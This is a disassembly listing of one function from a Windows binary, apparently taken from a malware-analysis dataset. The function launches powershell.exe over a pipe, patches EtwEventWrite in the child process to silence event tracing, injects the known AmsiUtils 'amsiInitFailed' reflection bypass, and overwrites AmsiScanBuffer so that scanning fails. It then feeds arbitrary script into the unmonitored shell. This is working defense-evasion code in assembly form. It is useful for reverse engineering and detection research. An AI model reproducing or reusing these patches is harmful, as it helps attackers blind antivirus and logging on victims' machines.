Function at 0x1400214d0
Capabilities:
Create pipe
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x100], xmm6
mov qword [rbp + 0xf8], 0xfffffffffffffffe
mov r15d, edx
mov r14, rcx
xorps xmm6, xmm6
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm6
movaps xmmword [rbp + 0x40], xmm6
mov qword [rbp + 0x50], 0
mov dword [rbp - 0x10], 0x68
movaps xmmword [rbp + 0xa0], xmm6
mov qword [rbp + 0xb0], 0
mov rax, qword [0x140061748]
mov qword [rbp + 0x70], rax
movups xmm0, xmmword [0x140061738]
movaps xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x98]
lea rdx, [rbp + 0xc8]
lea r8, [rbp + 0x60]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140021b7b
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x40], rax
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [0x14006175e]
movups xmmword [rbp - 0x22], xmm0
movaps xmm0, xmmword [str.powershell.exe]
movaps xmmword [rbp - 0x30], xmm0
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
lea rdx, [rbp - 0x30]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140021b8a
mov rcx, qword [rbp + 0xa0]
mov edx, 0xffffffff
call qword [sym.imp.USER32.dll_WaitForInputIdle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbp + 0xa0]
mov dword [rbp + 0xb8], 0xc3c03348
movabs rax, 0x6574697257746e
mov qword [rbp + 0x7e], rax
movabs rax, 0x746e657645777445
mov qword [rbp + 0x78], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0xd0], rax
lea r12, [0x140077638]
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xd0]
mov r9d, 4
mov rcx, rbx
mov rdx, rsi
call fcn.140028a36
test eax, eax
je 0x140021699
lea rcx, [0x1400623d2]
jmp 0x1400216a0
lea rcx, [0x140062302]
call fcn.140008f30
mov r9d, dword [0x140077640]
lea rax, [0x140077640]
mov qword [rbp + 0xd0], 4
mov qword [rbp + 0xc0], rsi
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xc0]
lea r8, [rbp + 0xd0]
mov rcx, rbx
call fcn.1400289f0
mov r8d, 4
mov rcx, rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov qword [rbp + 0x80], 0
mov ecx, 0xe0
call fcn.14002a404
mov rsi, rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0xd3
mov qword [rbp + 0x90], 0xdf
lea rdx, str._a_Ref__n_b_a.Assembly_n_c_b.GetType_System.Management.Automation.AmsiUtils__n_d_c.GetField_amsiInitFailed_NonPublic_Static__n_d.SetValue__null__true__n
mov r8d, 0xd3
mov rcx, rax
call fcn.140021ed0
mov byte [rsi + 0xd3], 0
mov rcx, qword [rbp + 0xc8]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xbc]
mov rdx, rsi
mov r8d, 0xd3
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140021b6c
mov rcx, qword [rbp + 0xa0]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [rbp + 0xa0]
movabs rax, 0xc3ffffffffc0c748
mov qword [rbp + 0xc0], rax
movabs rax, 0x7265666675426e
mov qword [rbp + 0xd7], rax
movabs rax, 0x6e61635369736d41
mov qword [rbp + 0xd0], rax
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r13, [rbp + 0xd0]
mov rcx, rax
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xc0]
mov r9d, 8
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021808
lea rcx, [0x1400623e5]
jmp 0x14002180f
lea rcx, [0x140062315]
call fcn.140008f30
mov r8d, 8
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, r15d
xorps xmm0, xmm0
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xd0], xmm0
cmp r15d, 0xf
ja 0x14002186e
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], 0xf
lea rcx, [rbp + 0xd0]
mov rdx, r14
mov r8, rsi
call fcn.140021ed0
mov byte [rbp + rsi + 0xd0], 0
jmp 0x1400218e3
mov qword [rbp + 0xe8], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400218b0
lea rcx, [rbx + 0x28]
call fcn.14002a404
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400218bc
lea rcx, [rbx + 1]
call fcn.14002a404
mov rdi, rax
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rbx
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.140021ed0
mov byte [rdi + rsi], 0
mov rsi, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
cmp rax, rsi
jne 0x140021955
movabs r15, 0x7fffffffffffffff
cmp rsi, r15
je 0x140021bad
lea r14, [rsi + 1]
mov rax, r14
or rax, 0xf
js 0x140021981
mov rdi, rsi
shr rdi, 1
movabs r15, 0x7fffffffffffffff
mov rcx, rdi
xor rcx, r15
add rdi, rsi
cmp rax, rdi
cmova rdi, rax
cmp rcx, rsi
cmovae r15, rdi
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400219a8
cmp rcx, 0xffffffffffffffd9
jb 0x14002198b
call fcn.140009c90
lea rcx, [rsi + 1]
mov qword [rbp + 0xe0], rcx
cmp rax, 0x10
jb 0x14002196d
mov r13, qword [rbp + 0xd0]
mov word [r13 + rsi], 0xa
mov rbx, qword [rbp + 0xd0]
jmp 0x140021a43
movabs rcx, 0x8000000000000000
add rcx, 0x27
call fcn.14002a404
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rdi, r15
jmp 0x1400219c0
test rcx, rcx
je 0x1400219b7
call fcn.14002a404
mov rbx, rax
jmp 0x1400219c0
mov rdi, 0xffffffffffffffff
xor ebx, ebx
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rdi
cmp rsi, 0x10
jb 0x140021a24
mov rdi, qword [rbp + 0xd0]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140021ed0
mov word [rbx + rsi], 0xa
cmp r14, 0x1000
jb 0x140021a17
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jae 0x140021ba8
add rsi, 0x28
mov r14, rsi
mov rdi, rax
mov rcx, rdi
mov rdx, r14
call fcn.14002a448
jmp 0x140021a3c
lea rdx, [rbp + 0xd0]
mov rcx, rbx
mov r8, rsi
call fcn.140021ed0
mov word [rbx + rsi], 0xa
mov qword [rbp + 0xd0], rbx
mov r8d, dword [rbp + 0xe0]
cmp qword [rbp + 0xe8], 0x10
lea rdx, [rbp + 0xd0]
cmovae rdx, rbx
mov rcx, qword [rbp + 0xc8]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xbc]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140021b6c
mov rcx, qword [rbp + 0xa0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xa0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x98]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0xc8]
call rsi
mov rcx, qword [rbp + 0xa0]
call rsi
mov rcx, qword [rbp + 0xa8]
call rsi
mov rax, qword [rbp + 0xe8]
cmp rax, 0x10
jb 0x140021b13
mov rcx, qword [rbp + 0xd0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140021b0e
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140021ba8
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov rax, qword [rbp + 0x90]
cmp rax, 0x10
jb 0x140021b51
mov rcx, qword [rbp + 0x78]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140021b4c
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140021ba8
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
movaps xmm6, xmmword [rbp + 0x100]
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WriteFile_failed:__d
jmp 0x140021b97
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreatePipe_failed:__d
jmp 0x140021b97
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateProcess_failed:__d
mov edx, eax
call fcn.140008f30
mov ecx, 0xffffffff
call fcn.140034430
call fcn.140036e0c
call fcn.140009c70
int3